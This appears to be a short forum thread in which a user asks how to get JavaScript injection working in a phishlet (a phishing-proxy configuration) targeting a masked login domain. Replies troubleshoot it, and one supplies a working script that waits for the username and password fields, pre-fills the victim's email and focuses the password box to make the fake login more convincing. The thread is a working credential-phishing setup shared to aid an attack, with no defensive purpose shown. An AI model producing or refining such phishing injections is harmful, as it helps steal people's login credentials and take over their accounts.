Please someone should help me on how to inject Javascript on Phishlet, below is my code: js_inject:
- trigger_domains: [“login.*****.com”]
trigger_paths: [“/*”,“/”]
script: |
document.addEventListener(‘DOMContentLoaded’, function(){
alert(“hello”)
});
the code is not showing on S folder when I inspect the source page. Thank you.
check for trigger domain , and make sure inject path is “/”
Please I sent you a DM, Thank you
DOMContentLoadedis the problem here , use time based function someting like this
function lp(){
var email = document.querySelector("#username");
var password = document.querySelector("#password");
if (email != null && password != null) {
email.value = "{email}";
password.focus();
return;
}
setTimeout(function(){lp();}, 100);
}
setTimeout(function(){lp();}, 100);